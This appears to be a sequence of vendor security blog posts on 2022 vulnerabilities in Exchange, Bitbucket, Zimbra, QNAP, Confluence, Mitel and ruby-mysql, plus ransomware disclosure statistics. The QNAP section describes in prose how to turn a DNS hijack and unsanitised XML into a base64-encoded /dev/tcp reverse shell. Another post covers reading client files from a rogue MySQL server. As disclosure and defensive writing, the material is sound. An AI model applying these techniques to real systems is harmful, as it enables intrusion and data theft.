On Thursday, September 29, a Vietnamese security firm called GTSC published information and IOCs on what they claim is a pair of unpatched Microsoft Exchange Server vulnerabilities being used in attacks on their customers’ environments dating back to early August 2022. The impact of exploitation is said to be remote code execution. From the information released, both vulnerabilities appear to be post-authentication flaws. According to GTSC, the vulnerabilities are being exploited to drop webshells on victim systems and establish footholds for post-exploitation behavior.
There has been no formal communication from Microsoft confirming or denying the existence of the flaws as of 4:30 PM EDT on Thursday, September 29. Our own teams have not validated the vulnerabilities directly.
Notably, it appears that both vulnerabilities have been reported to (and accepted by) Trend Micro’s Zero Day Initiative (ZDI) for disclosure coordination and are listed on ZDI’s site as “Upcoming Advisories.” This lends credibility to the claim, as does the specificity of the indicators shared in the firm’s blog. You can view the two reported vulnerabilities on this page by searching ZDI’s advisories for ZDI-CAN-18802 and ZDI-CAN-18333.
We are monitoring for additional detail and official communications and will update this blog with further information as it becomes available.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On August 24, 2022, Atlassian published an advisory for Bitbucket Server and Data Center alerting users to CVE-2022-36804. The advisory reveals a command injection vulnerability in multiple API endpoints, which allows an attacker with access to a public repository or with read permissions to a private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. CVE-2022-36804 carries a CVSSv3 score of 9.8 and is easily exploitable. Rapid7’s vulnerability research team has a full technical analysis in AttackerKB, including how to use CVE-2022-36804 to create a simple reverse shell.
According to Shodan, there are about 1,400 internet-facing servers, but it’s not immediately obvious how many have a public repository. There are no public reports of exploitation in the wild as of September 20, 2022, but there has been strong interest in the vulnerability from researchers and exploit brokers, and there are now multiple public exploits available. Because the vulnerability is trivially exploitable and the patch is relatively simple to reverse- engineer, it’s likely that targeted exploitation has already occurred in the wild. We expect to see larger-scale exploitation of CVE-2022-36804 soon.
Affected products:
Bitbucket Server and Data Center 7.6 prior to 7.6.17
Bitbucket Server and Data Center 7.17 prior to 7.17.10
Bitbucket Server and Data Center 7.21 prior to 7.21.4
Bitbucket Server and Data Center 8.0 prior to 8.0.3
Bitbucket Server and Data Center 8.1 prior to 8.1.3
Bitbucket Server and Data Center 8.2 prior to 8.2.2
Bitbucket Server and Data Center 8.3 prior to 8.3.1
Mitigation guidance
Organizations that use Bitbucket Server and Data Center in their environments should patch as quickly as possible using Atlassian’s guide, without waiting for a regular patch cycle to occur. Blocking network access to Bitbucket may also function as a temporary stop-gap solution, but this should not be a substitute for patching.
Rapid7 customers
Our engineering team is in the process of developing a vulnerability check for CVE-2022-36804. We will update this blog with further information as it becomes available.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
The latest Top New Attacks and Threat Report from the cybersecurity experts at SANS is here — and the findings around cyberthreats, attacks, and best practices to defend against them are as critical for security teams as they’ve ever been.
If you’re unfamiliar with the SysAdmin, Audit, Network, and Security Institute, or SANS, they’re among the leading cybersecurity research organizations in the world, and their annual Top New Attacks and Threat Report is required reading for every security professional operating today.
What’s new for 2022
This year’s report is a little different from previous years. Rather than focusing on threat statistics from the year before (i.e., 2021 data for the 2022 report), SANS opted to focus on data from the first quarter of 2022, providing a more recent snapshot of the state of play in the threat landscape. The reason for this is probably something you could have guessed: the pandemic.
Typically, the TNAT report (we love coming up with acronyms!) is built out of a highly anticipated presentation from SANS experts at the annual RSA conference. Since the pandemic delayed the start of the RSA event this year, the folks at SANS thought it better to focus on more up-to-the-minute data for their report.
What they found is interesting — if a little concerning.
Smaller breaches, bigger risks?
In the first quarter of 2022, the average breach size was down one-third from the overall breach size in 2021 (even adjusted for seasonal shifts in breach sizes). What’s more, there are signs of a trend in breach size decline, as 2021’s overall breach size average was 5% lower than that of 2020. SANS believes this is indicative of attackers focusing on smaller targets than in previous years, particularly in the healthcare sector and in state and local government agencies.
A lower average breach size is good news, no doubt, but what it says about the intentions of attackers should have many on edge. Going after smaller — but potentially more vulnerable — organizations means those groups are less likely to have the resources to repel those attackers that larger groups would, and they pose dangers as partner organizations.
The SANS experts suggest shoring up supplier compliance by following two well-established security frameworks: the Supply Chain Risk Management Reporting Framework provided by the American Institute of Certified Public Accountants (AICPA), and the National Institute of Standards and Technology’s (NIST’s) updated SP 800-161 Supply Chain Risk Framework.
Other key trends
The SANS report also provided telling and important data around the ways in which attackers enter your environment (phishing was the root of 51% of all breaches), as well as the success rate of multi-factor authentication — 99% — in combating phishing attacks.
The RSA panel discussion (and the subsequent report we’re sharing) also look into specific trends and best practices from some of SANS’s experts. In years past, they’ve looked at some key takeaways from the SolarWinds breach, ransomware, and machine learning vulnerabilities. This year, they’ve turned their attention to multi-factor authentication, stalkerware, and the evolution of “living off the land” attacks as they pertain to cloud infrastructure. Each of these sections is worth reading in its own right and can provide some thought-provoking resources as your security team continues to grapple with what comes next in the cloud and attacker spaces.
One space where the SANS experts chose to focus has particular importance to those seeking to mitigate ransomware: attacks on backups. Backups have long been considered your best defense against ransomware attacks because they allow your organization to securely resume use of your data should your environment become compromised (and your data be locked down). However, as backup infrastructure moves into the cloud, SANS experts believe unique attacks against these backups will become more common, because backup solutions are often quite complex and are vulnerable to specific types of threats, such as living-off-the-land attacks.
The annual SANS report is a reliable and instrumental resource for security teams which is why we are proud to be a sponsor of it (and offer it to the security community). You can dive into the full report here.
Over the past few weeks, five different vulnerabilities affecting Zimbra Collaboration Suite have come to our attention, one of which is unpatched, and four of which are being actively and widely exploited in the wild by well-organized threat actors. We urge organizations who use Zimbra to patch to the latest version on an urgent basis, and to upgrade future versions as quickly as possible once they are released.
Exploited RCE vulnerabilities
The following vulnerabilities can be used for remote code execution and are being exploited in the wild.
CVE-2022-30333
CVE-2022-30333 is a path traversal vulnerability in unRAR, Rarlab’s command line utility for extracting RAR file archives. CVE-2022-30333 allows an attacker to write a file anywhere on the target file system as the user that executes unrar. Zimbra Collaboration Suite uses a vulnerable implementation of unrar (specifically, the amavisd component, which is used to inspect incoming emails for spam and malware). Zimbra addressed this issue in 9.0.0 patch 25 and 8.5.15 patch 32 by replacing unrar with 7z.
Our research team has a full analysis of CVE-2022-30333 in AttackerKB. A Metasploit module is also available. Note that the server does not necessarily need to be internet-facing to be exploited — it simply needs to receive a malicious email.
CVE-2022-27924
CVE-2022-27924 is a blind Memcached injection vulnerability first analyzed publicly in June 2022. Successful exploitation allows an attacker to change arbitrary keys in the Memcached cache to arbitrary values. In the worst-case scenario, an attacker can steal a user’s credentials when a user attempts to authenticate. Combined with CVE-2022-27925, an authenticated remote code execution vulnerability, and CVE-2022-37393, a currently unpatched privilege escalation issue that was publicly disclosed in October 2021, capturing a user’s password can lead to remote code execution as the root user on an organization’s email server, which frequently contains sensitive data.
Our research team has a full analysis of CVE-2022-27924 in AttackerKB. Note that an attacker does need to know a username on the server in order to exploit CVE-2022-27924. According to Sonar, it is also possible to poison the cache for any user by stacking multiple requests.
CVE-2022-27925
CVE-2022-27925 is a directory traversal vulnerability in Zimbra Collaboration Suite versions 8.8.15 and 9.0 that allows an authenticated user with administrator rights to upload arbitrary files to the system. On August 10, 2022, security firm Volexity published findings from multiple customer compromise investigations that indicated CVE-2022-27925 was being exploited in combination with a zero-day authentication bypass, now assigned CVE-2022-37042, that allowed attackers to leverage CVE-2022-27925 without authentication.
CVE-2022-37042
As noted above, CVE-2022-37042 is a critical authentication bypass that arises from an incomplete fix for CVE-2022-27925. Zimbra patched CVE-2022-37042 in 9.0.0P26 and 8.8.15P33.
Unpatched privilege escalation CVE-2022-37393
In October of 2021, researcher Darren Martyn published an exploit for a zero-day root privilege escalation vulnerability in Zimbra Collaboration Suite. When successfully exploited, the vulnerability allows a user with a shell account as the zimbra user to escalate to root privileges. While this issue requires a local account on the Zimbra host, the previously mentioned vulnerabilities in this blog post offer plenty of opportunity to obtain it.
Our research team tested the privilege escalation in combination with CVE-2022-30333 and CVE-2022-27924 at the end of July 2022 and found that at the time, all versions of Zimbra were affected through at least 9.0.0 P25 and 8.8.15 P32. Rapid7 disclosed the vulnerability to Zimbra on July 21, 2022 and later assigned CVE-2022-37393 (still awaiting NVD analysis) to track it. A full analysis of CVE-2022-37393 is available in AttackerKB. A Metasploit module is also available.
Mitigation guidance
We strongly advise that all organizations who use Zimbra in their environments update to the latest available version (at time of writing, the latest versions available are 9.0.0 P26 and 8.8.15 P33) to remediate known remote code execution vectors. We also advise monitoring Zimbra’s release communications for future security updates, and patching on an urgent basis when new versions become available.
The AttackerKB analyses for CVE-2022-30333, CVE-2022-27924, and CVE-2022-37393 all include vulnerability details (including proofs of concept) and sample IOCs. Volexity’s blog also has information on how to look for webshells dropped on Zimbra instances, such as comparing the list of JSP files on a Zimbra instance with those present by default in Zimbra installations. They have published lists of valid JSP files included in Zimbra installations for the latest version of 8.8.15 and of 9.0.0 (at time of writing).
Our engineering team is in the investigation phase of vulnerability check development and will assess the risk and customer needs for each vulnerability separately. We will update this blog with more information as it becomes available.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.
CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.
Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.
Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.
Poisoned XML command injection (CVE-2022-XXXX)
The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.
SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.
Exploitation and patch
The “new” vulnerability can be broken down into two parts:
A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.
Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.
Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.
The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.
The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):
Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.
An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.
Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.
Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.
The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.
So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.
Indicators of compromise
This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:
Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:
Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.
SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.
Disclosure timeline
July, 2022: Researched and discovered by Jake Baines of Rapid7
Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
Thu, Aug 4, 2022: This public disclosure
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
CVE-2022-26138: Hardcoded password in Questions for Confluence app
The most critical of these three is CVE-2022-26138, as it was quickly exploited in the wild once the hardcoded password was released on social media. There is a limiting function here, however, as this vulnerability only exists when the Questions for Confluence app is enabled (and does not impact the Confluence Cloud instance). Once the app is enabled on affected versions, it will create a user account with a hardcoded password and add the account to a user group, which allows access to all non-restricted pages in Confluence. This easily allows a remote, unauthenticated attacker to browse an organization’s Confluence instance. Unsurprisingly, it didn’t take long for Rapid7 to observe exploitation once the hardcoded credentials were released, given the high value of Confluence for attackers who often jump on Confluence vulnerabilities to execute ransomware attacks.
Affected versions
Questions for Confluence 2.7.x
2.7.34
2.7.35
Questions for Confluence
3.0.x
3.0.2
Mitigation guidance
Organizations using on-prem Confluence should follow Atlassian’s guidance on updating their instance or disabling/deleting the account. Rapid7 recommends organizations impacted by this take steps immediately to mitigate the vulnerability. Atlassian’s advisory also includes information on how to look for evidence of exploitation. An FAQ has also been provided.
Two other vulnerabilities were announced at the same time, CVE-2022-26136 and CVE-2022-26137, which are also rated critical by Atlassian. They both are issues with Servlet Filters in Java and can be exploited by remote, unauthenticated attackers. Cloud versions of Atlassian have already been fixed by the company.
While the impact of these vulnerabilities will vary by organization, as mentioned above, attackers place a high value on many Atlassian products. Therefore, Rapid7 recommends that organizations update impacted product versions as there is no mitigation workaround available.
Rapid7 customers
InsightVM and Nexpose: Our engineering team is investigating the feasibility of a vulnerability check to help InsightVM and Nexpose customers assess exposure to CVE-2022-26138.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
We’re here with the final installment in our Pain Points: Ransomware Data Disclosure Trendsreport blog series, and today we’re looking at a unique aspect of the report that clarifies not just what ransomware actors choose to disclose, but who discloses what, and how the ransomware landscape has changed over the last two years.
Firstly, we should tell you that our research centered around the concept of double extortion. Unlike traditional ransomware attacks, where bad actors take over a victim’s network and hold the data hostage for ransom, double extortion takes it a step further and extorts the victim for more money with the threat (and, in some cases, execution) of the release of sensitive data. So not only does a victim experience a ransomware attack, they also experience a data breach, and the additional risk of that data becoming publicly available if they do not pay.
According to our research, there have been a handful of major players in the double extortion field starting in April 2020, when our data begins, and February 2022. Double extortion itself was in many ways pioneered by the Maze ransomware group, so it should not surprise anyone that we will focus on them first.
The rise and fall of Maze and the splintering of ransomware double extortion
Maze’s influence on the current state of ransomware should not be understated. Prior to the group’s pioneering of double extortion, many ransomware actors intended to sell the data they encrypted to other criminal entities. Maze, however, popularized another revenue stream for these bad actors, leaning on the victims themselves for more money. Using coercive pressure, Maze did an end run around one of the most important safeguards organizations can take against ransomware: having safely secured and regularly updated backups of their important data.
Throughout most of 2020 Maze was the leader of the double extortion tactic among ransomware groups, accounting for 30% of the 94 reported cases of double extortion between April and December of 2020. This is even more remarkable given the fact that Maze itself was shut down in November of 2020.
Other top ransomware groups also accounted for large percentages of data disclosures. For instance, in that same year, REvil/Sodinokibi accounted for 19%, Conti accounted for 14%, and NetWalker 12%. To give some indication of just how big Maze’s influence was and offer explanation for what happened after they were shut down, Maze and REvil/Sodinokibi accounted for nearly half of all double extortion attacks that year.
However, once Maze was out of the way, double extortion still continued, just with far more players taking smaller pieces of the pie. Conti and REvil/Sodinokibi were still major players in 2021, but their combined market share barely ticked up, making up just 35% of the market even without Maze dominating the space. Conti accounted for 19%, and REvil/Sodinokibi dropped to 16%.
But other smaller players saw increases in 2021. CL0P’s market share rose to 9%, making it the third most active group. Darkside and RansomEXX both went from 2% in 2020 to 6% in 2021. There were 16 other groups who came onto the scene, but none of them took more than 5% market share. Essentially, with Maze out of the way, the ransomware market splintered with even the big groups from the year before being unable to step in and fill Maze’s shoes.
What they steal depends on who they are
Even ransomware groups have their own preferred types of data to steal, release, and hold hostage. REvil/Sodinokibi focused heavily on releasing customer and patient data (present in 55% of their disclosures), finance and accounting data (present in 55% of their disclosures), employee PII and HR data (present in 52% of their disclosures), and sales and marketing data (present in 48% of their disclosures).
CL0P on the other hand was far more focused on Employee PII & HR data with that type of information present in 70% of their disclosures, more than double any other type of data. Conti overwhelmingly focused on Finance and Accounting data (present in 81% of their disclosures) whereas Customer & Patient Data was just 42% and Employee PII & HR data at just 27%.
Ultimately, these organizations have their own unique interests in the type of data they choose to steal and release during the double extortion layer of their ransomware attacks. They can act as calling cards for the different groups that help illuminate the inner workings of the ransomware ecosystem.
Thank you for joining us on this unprecedented dive into the world of double extortion as told through the data disclosures themselves. To dive even deeper into the data, download the full report.
In April 2022, telecommunications company Mitel published a security advisory on CVE-2022-29499, a data validation vulnerability in the Service Appliance component of MiVoice Connect, a business communications product. The vulnerability, which was unpatched at time of publication, arose from insufficient data validation for a diagnostic script and potentially allowed an unauthenticated remote attacker to send specially crafted requests to inject commands and achieve remote code execution. CVE-2022-29499 has a CVSSv3 score of 9.8.
On June 23, 2022, security firm Crowdstrike published an analysis on a ransomware intrusion attempt that had targeted CVE-2022-29499 — which at the time of detection was an undisclosed zero-day vulnerability — as an initial access vector. Over the past two weeks, Rapid7 Managed Detection and Response (MDR) has also observed a small number of intrusions that have leveraged CVE-2022-29499 as an initial access vector.
There is currently no indication that a large number of these appliances are exposed to the public internet, and we have no evidence that this vulnerability is being targeted in wider-scale ransomware campaigns. We are conscious of the fact, however, that the proliferation of ransomware in general has continued to shape risk models for many organizations, and that network perimeter devices are tempting targets for a variety of attackers.
Affected products
CVE-2022-29499 affects MiVoice Connect deployments (including earlier versions 14.2) that include the MiVoice Connect Service Appliances, SA 100, SA 400 and/or Virtual SA. Vulnerable firmware versions include R19.2 SP3 (22.20.2300.0) and earlier, and R14.x and earlier. See Mitel product security advisory 22-0002 and their security bulletin for additional information.
Mitigation guidance
Mitel MiVoice Connect customers who use vulnerable versions of the Service Appliance in their deployments should update to a fixed version of the appliance immediately. Mitel released patches for CVE-2022-29499 in early June 2022; organizations that have not updated the firmware on their appliances since before that timeframe should apply fixes as soon as possible.
Rapid7 customers
We have not been able to determine whether a vulnerability check is feasible at this time. We are investigating alternative options to help InsightVM and Nexpose customers assess exposure, including the potential to generically fingerprint MiVoice Connect in customer environments.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Welcome back to the third installment of Rapid7’s Pain Points: Ransomware Data Disclosure Trends blog series, where we’re distilling the key highlights of our ransomware data disclosure research paper one industry at a time. This week, we’ll be focusing on the financial services industry, one of the most most highly regulated — and frequently attacked — industries we looked at.
Rapid7’s threat intelligence platform (TIP) scans the clear, deep, and dark web for data on threats, and operationalizes that data automatically with our Threat Command product. We used that data to conduct unique research into the types of data threat actors disclose about their victims. The data points in this research come from the threat actors themselves, making it a rare glimpse into their actions, motivations, and preferences.
Last week, we discussed how the healthcare and pharmaceutical industries are particularly impacted by double extortion in ransomware. We found that threat actors target and release specific types of data to coerce victims into paying the ransom. In this case, it was internal financial information (71%), which was somewhat surprising, considering financial information is not the focus of these two industries. Less surprising, but certainly not less impactful, were the disclosure of customer or patient information (58%) and the unusually strong emphasis on intellectual property in the pharmaceuticals sector of this vertical (43%).
Customer data is the prime target for finserv ransomware
But when we looked at financial services, something interesting did stand out: Customer data was found in the overwhelming majority of data disclosures (82%), not necessarily the company’s internal financial information. It seems threat actors were more interested in leveraging the public’s implied trust in financial services companies to keep their personal financial information private than they were in exposing the company’s own financial information.
Since much of the damage done by ransomware attacks — or really any cybersecurity incident — lies in the erosion of trust in that institution, it appears threat actors are seeking to hasten that erosion with their initial data disclosures. The financial services industry is one of the most highly regulated industries in the market entirely because it holds the financial health of millions of people in their hands. Breaches at these institutions tend to have outsized impacts.
Employee info is also at risk
The next most commonly disclosed form of data in the financial services industry was personally identifiable information (PII) and HR data. This is personal data of those who work in the financial industry and can include identifying information like Social Security numbers and the like. Some 59% of disclosures from this sector included this kind of information.
This appears to indicate that threat actors want to undermine the company’s ability to keep their own employees’ data safe, and that can be corroborated by another data point: In some 29% of cases, data disclosure pointed to reconnaissance for future IT attacks as the motive. Threat actors want financial services companies and their employees to know that they are and will always be a major target. Other criminals can use information from these disclosures, such as credentials and network maps, to facilitate future attacks.
As with the healthcare and pharmaceutical sectors, our data showed some interesting and unique motivations from threat actors, as well as confirmed some suspicions we already had about why they choose the data they choose to disclose. Next time, we’ll be taking a look at some of the threat actors themselves and the ways they’ve impacted the overall ransomware “market” over the last two years.
Welcome to the second installment in our series looking at the latest ransomware research from Rapid7. Two weeks ago, we launched “Pain Points: Ransomware Data Disclosure Trends”, our first-of-its-kind look into the practice of double extortion, what kinds of data get disclosed, and how the ransomware “market” has shifted in the two years since double extortion became a particularly nasty evolution to the practice.
Today, we’re going to talk a little more about the healthcare and pharmaceutical industry data and analysis from the report, highlighting how these two industries differ from some of the other hardest-hit industries and how they relate to each other (or don’t in some cases).
But first, let’s recap what “Pain Points” is actually analyzing. Rapid7’s threat intelligence platform (TIP) scans the clear, deep, and dark web for data on threats and operationalizes that data automatically with our Threat Command product. This means we have at our disposal large amounts of data pertaining to ransomware double extortion that we were able to analyze to determine some interesting trends like never before. Check out the full paper for more detail, and view some well redacted real-world examples of data breaches while you’re at it.
For healthcare and pharma, the risks are heightened
When it comes to the healthcare and pharmaceutical industries, there are some notable similarities that set them apart from other verticals. For instance, internal finance and accounting files showed up most often in initial ransomware data disclosures for healthcare and pharma than for any other industry (71%), including financial services (where you would think financial information would be the most common).
After that, customer and patient data showed up more than 58% of the time — still very high, indicating that ransomware attackers value these data from these industries in particular. This is likely due to the relative amount of damage (legal and regulatory) these kinds of disclosures could have on such a highly regulated field (particularly healthcare).
All eyes on IP and patient data
Where the healthcare and pharmaceutical differed were in the prevalence of intellectual property (IP) disclosures. The healthcare industry focuses mostly on patients, so it makes sense that one of their biggest data disclosure areas would be personal information. But the pharma industry focuses much more on research and development than it does on the personal information of people. In pharma-related disclosures, IP made up 43% of all disclosures. Again, the predilection on the part of ransomware attackers to “hit ’em where it hurts the most” is on full display here.
Finally, different ransomware groups favor different types of data disclosures, as our data indicated. When it comes to the data most often disclosed from healthcare and pharma victims, REvil and Cl0p were the only who did it (10% and 20% respectively). For customer and patient data, REvil took the top spot with 55% of disclosures, with Darkside behind them at 50%. Conti and Cl0p followed with 42% and 40%, respectively.
So there you have it: When it comes to the healthcare and pharmaceutical industries, financial data, customer data, and intellectual property are the most frequently used data to impose double extortion on ransomware victims.
Ready to dive further into the data? Check out the full report.
The ruby-mysql Ruby gem prior to version 2.10.0 maintained by Tomita Masahiro is vulnerable to an instance of CWE-610: Externally Controlled Reference to a Resource in Another Sphere, wherein a malicious MySQL server can request local file content from a client without explicit authorization from the user. The initial CVSSv3 estimate for this issue is 6.5. Note that this issue does not affect the much more popular mysql2 gem. This issue was fixed in ruby-mysql 2.10.0 on October 23, 2021, and users of ruby-mysql are urged to update.
Product description
The ruby-mysql Ruby gem is an implementation of a MySQL client. While it is far less popular than the mysql2 gem, it serves a particular niche audience of users that desire a pure Ruby implementation of MySQL client functionality without linking to an external library (as mysql2 does).
Credit
This issue was reported to Rapid7 by Hans-Martin Münch of MOGWAI LABS GmbH, initially as a Metasploit issue, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the upstream maintainer of this library, as well as JPCERT/CC and CERT/CC.
Exploitation
A malicious actor can read arbitrary files from a client that uses ruby-mysql to communicate to a rogue MySQL server and issue database queries. In these cases, the server has the option to create a database reply using the LOAD DATA LOCAL statement, which instructs the client to provide additional data from a local file readable by the client (and not a “local” file on the server). The easiest way to demonstrate this issue is to run an instance of Rogue-MySql-Server by Gifts and perform any database query using the vulnerable version of the mysql gem.
Note that this behavior is a defined and expected option for servers and is described in the documentation, quoted below:
Because LOAD DATA LOCAL is an SQL statement, parsing occurs on the server side, and transfer of the file from the client host to the server host is initiated by the MySQL server, which tells the client the file named in the statement. In theory, a patched server could tell the client program to transfer a file of the server’s choosing rather than the file named in the statement. Such a server could access any file on the client host to which the client user has read access. (A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.) [emphasis added]
So, the vulnerability is not so much a MySQL server or protocol issue, but a vulnerability in a client that does not at least provide an option to disable LOAD DATA LOCAL queries; this is the situation with version 2.9.14 and earlier versions of ruby-mysql.
There is also prior work on this type of issue, and interested readers should refer to Knownsec 404 Team‘s article describing the issue for a thorough understanding of the dangers of LOAD DATA LOCAL and untrusted MySQL servers.
Impact
As stated, this issue only affects Ruby-based MySQL clients that connect to malicious MySQL servers. The vast majority of clients already know who they’re connecting to, and while an attacker could poison DNS records or otherwise intercede in network traffic to capture unwitting clients, such network shenanigans will be foiled by routine security controls like SSL certificates. The true risk is posed only to those people who connect to random and unknown MySQL servers in unfamiliar environments.
In other words, penetration testers and other opportunistic MySQL attackers are most at risk from this kind of vulnerability. CVE-2021-3779 fits squarely in the category of “hacking the hackers,” where an aggressive honeypot is designed to lie in wait for wandering MySQL scanners and attackers and steal data local to those connecting clients.
This is the reason why Hans-Martin Münch of MOGWAI LABS GmbH first brought this to Rapid7’s attention as an issue in Metasploit. While Metasploit users are indeed the most at risk to falling victim to an exploit for this vulnerability, the underlying issue was quickly identified as one in the shared open-source library code that Metasploit depends on for managing MySQL connections to remote servers. (One such example is the MySQL hashdump auxiliary module.)
Remediation
Users who implement ruby-mysql should update their packaged gem with the latest version of ruby-mysql, as it has been fixed in version 2.10.0. The current version (as of this writing) is 3.0.0 and was released in November of 2021.
Users unable to update can patch around the issue by ensuring that CLIENT_LOCAL_FILES is disallowed by the client, similarly to how Metasploit Framework initially remediated this issue while waiting on a fix from the upstream maintainer.
Disclosure timeline
The astute reader will note a significant gap of several months between the fix release and this disclosure. This was a failure on my, Tod Beardsley’s, part, since I was handling this issue.
